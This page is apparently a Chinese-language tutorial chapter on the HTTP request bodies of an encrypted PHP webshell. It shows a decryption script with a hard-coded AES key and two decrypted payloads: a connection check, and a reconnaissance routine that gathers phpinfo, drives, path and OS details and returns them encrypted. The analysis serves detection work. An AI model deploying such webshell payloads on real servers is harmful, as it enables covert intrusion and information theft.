返回介绍

2.2 HTTP 请求体特征

发布于 2024-09-13 00:22:58 字数 3815 浏览 0 评论 0 收藏 0

根据 webshell 的内容,可以分为两种解密方式:

  1. 当目标服务器未开启 openssl 时,采用异或的方式加密
  2. 当目标服务器开启 openssl 时,采用 AES-128 方式加密

解密脚本:

<?php
$key="e45e329feb5d925b";
$post = "待解密的内容";
$post = openssl_decrypt($post, "AES128", $key);
echo $post;
?>

连接 shell 时的第一条数据包:

解密出连接 shell 时的第一条数据:

进一步 base64 解密得到传输的内容:

<?php
@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$content="qing73XL3NTszHHme5YqeWHi79mSMZaUuubbtH7I65qSGoUqfzFvnD2TW";
main($content);
?>

从上述脚本可以分析到,回包也是用 AES-128 进行加密:

第二条数据包:

解密请求:

base64 解密:

<?php
error_reporting(0);
function main($whatever) {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
    	{
    		$drive=chr($i).':/';
    		file_exists($drive) ? $driveList=$driveList.$drive.";":'';
    	}
    }
	else
	{
		$driveList="/";
	}
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$whatever="yXC5t2ZpMa4Mj6zCgAXVLhQX5TFoNnjDYke36m2uCtHecRRdxqlbd2AudDH33CNWx41ISHqaJb4PfWbWp3CHTGAfUvFl1x5abikyEbCXL9TPQX5Mhuvjv45zhYNMxvb38UtH2BdLpiGpLFMMXqaNkmIVTEAj3opuUN4sE3wKMryeCAvVgDKwoBGf0YAduvy2vvxvQMXEIPTSB1Blp9fcvzMGyM3Qca0FsYwYwyp2wNj7DDDYmJnvmqF547rTfhgH3NnSlpR7rjG1UorFkZPxrITQuuGkz7dV2JuVVFCKtw8VVl8zGjLGyznpu4yHCChEMxE9YszxTWgowBPURYvMuLyf6YIhJBRl86DcJsWKsaGG9OFwA2t5vcTnHdEO5yRUjRjGCk6P3MfnlqpklSjjrf5lgisxjnvFNBerwYSNWZCMQ56xW2vwNqSZ4iEj0Kg1TBMIBRdnCpc46VE6iVLe34bqx6sXhhXzK0KLnbQ8kDAlLXuJAP87XlZPCVB4zp0eStqoVIHYUTIDhkJ4rH06z1JumGfbT21MQj64CH1PBkHvfOTCkkxXQN8EXZerxZ831SeVRGv37PbNu";
main($whatever);
?>

得到具体执行的内容即获取基本信息。

对回包的解密过程同上,最后可以得到一个 JSON 字符串,其中包含相应的信息。

{
    "basicInfo": "......",
    "driveList": "Lw==",
    "currentPath": "L2hvbWUvZGFlL3BocA==",
    "osInfo": "TGludXg="
}

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文